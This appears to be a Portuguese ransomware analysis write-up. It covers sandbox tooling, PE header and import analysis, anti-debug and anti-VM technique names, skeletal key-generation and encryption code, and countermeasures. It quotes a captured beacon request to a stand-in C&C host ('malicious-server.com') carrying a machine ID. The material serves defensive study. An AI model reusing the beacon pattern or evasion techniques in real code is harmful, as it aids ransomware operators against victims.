Visão Geral
Ambiente de Análise
Sandbox Setup
- VMware Workstation: Máquina virtual isolada
- Windows 10: Sistema operacional alvo
- Process Monitor: Monitoramento de atividades do sistema
- Wireshark: Análise de tráfego de rede
- IDA Pro: Análise estática de código
Ferramentas de Análise
- PE Explorer: Análise de headers PE
- Process Hacker: Monitoramento de processos
- Regshot: Comparação de registros
- x64dbg: Debugger dinâmico
- CFF Explorer: Análise de recursos
Análise Estática
1. Análise de Headers PE
C
// Estrutura do executável
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; // 0x5A4D (MZ)
WORD e_cblp; // Bytes na última página
WORD e_cp; // Páginas no arquivo
WORD e_crlc; // Relocações
WORD e_cparhdr; // Tamanho do header
WORD e_minalloc; // Mínimo de alocação
WORD e_maxalloc; // Máximo de alocação
WORD e_ss; // Segmento inicial
WORD e_sp; // Stack pointer
WORD e_csum; // Checksum
WORD e_ip; // Instruction pointer
WORD e_cs; // Segmento de código
WORD e_lfarlc; // Offset da tabela de relocação
WORD e_ovno; // Número de overlays
} IMAGE_DOS_HEADER;
2. Análise de Strings
Bash
# Extração de strings suspeitas
strings malware.exe | grep -i "encrypt\|decrypt\|key\|ransom"
3. Análise de Imports
C
// APIs suspeitas identificadas
KERNEL32.dll:
- CreateFileA
- WriteFile
- DeleteFileA
- SetFileAttributesA
CRYPT32.dll:
- CryptEncrypt
- CryptDecrypt
- CryptGenKey
Análise Dinâmica
1. Comportamento de Sistema
C
// Atividades monitoradas
- Criação de arquivos temporários
- Modificação de registros do Windows
- Comunicação com C&C server
- Criptografia de arquivos
2. Análise de Rede
Bash
# Tráfego de rede capturado
GET /api/encrypt HTTP/1.1
Host: malicious-server.com
User-Agent: Mozilla/5.0
Content-Type: application/json
{
"machine_id": "ABC123",
"timestamp": "2024-03-10T15:30:00Z"
}
3. Análise de Memória
C
// Estruturas de dados identificadas
typedef struct _ENCRYPTION_KEY {
BYTE key[32];
BYTE iv[16];
DWORD algorithm;
} ENCRYPTION_KEY;
typedef struct _FILE_INFO {
char filename[MAX_PATH];
DWORD original_size;
DWORD encrypted_size;
BYTE signature[16];
} FILE_INFO;
Técnicas de Evasão
1. Anti-Debug
C
// Técnicas anti-debug identificadas
- IsDebuggerPresent()
- CheckRemoteDebuggerPresent()
- NtQueryInformationProcess()
- Timing checks
2. Anti-VM
C
// Detecção de ambiente virtual
- Registry checks
- Hardware fingerprinting
- Network adapter analysis
- Process enumeration
3. Anti-Analysis
C
// Técnicas anti-análise
- String obfuscation
- Code packing
- API hooking
- Process injection
Análise do Algoritmo de Criptografia
1. Geração de Chaves
C
// Algoritmo de geração de chave
void generate_key() {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0);
CryptGenKey(hProv, CALG_AES_256, CRYPT_EXPORTABLE, &hKey);
}
2. Processo de Criptografia
C
// Algoritmo de criptografia
void encrypt_file(const char* filename) {
// 1. Abrir arquivo original
// 2. Ler dados
// 3. Criptografar com AES-256
// 4. Escrever arquivo criptografado
// 5. Deletar arquivo original
}
Contramedidas Desenvolvidas
1. Decryptor
C
// Decryptor desenvolvido
void decrypt_file(const char* filename, const BYTE* key) {
// Implementação do decriptador
// Baseado na análise do algoritmo
}
2. Detecção
C
// Regras de detecção
- YARA rules
- Snort signatures
- SIEM correlation
3. Prevenção
C
// Medidas preventivas
- Backup regular
- Antivirus atualizado
- Firewall configurado
- User awareness training
Resultados da Análise
- ✅ Algoritmo identificado: AES-256-CBC
- ✅ C&C server mapeado: IP e domínio identificados
- ✅ Decryptor desenvolvido: Recuperação de arquivos possível
- ✅ IOCs documentados: Indicadores de comprometimento
- ✅ Contramedidas implementadas: Prevenção e detecção
Aprendizados
- Importância da Análise: Entender o funcionamento interno
- Técnicas de Evasão: Como malware tenta evitar detecção
- Análise de Rede: Comunicação com servidores externos
- Desenvolvimento de Contramedidas: Criar soluções eficazes
Recomendações
- Análise Regular: Manter ambiente de análise atualizado
- Treinamento: Capacitação da equipe de segurança
- Automação: Implementar análise automatizada
- Colaboração: Compartilhar IOCs com a comunidade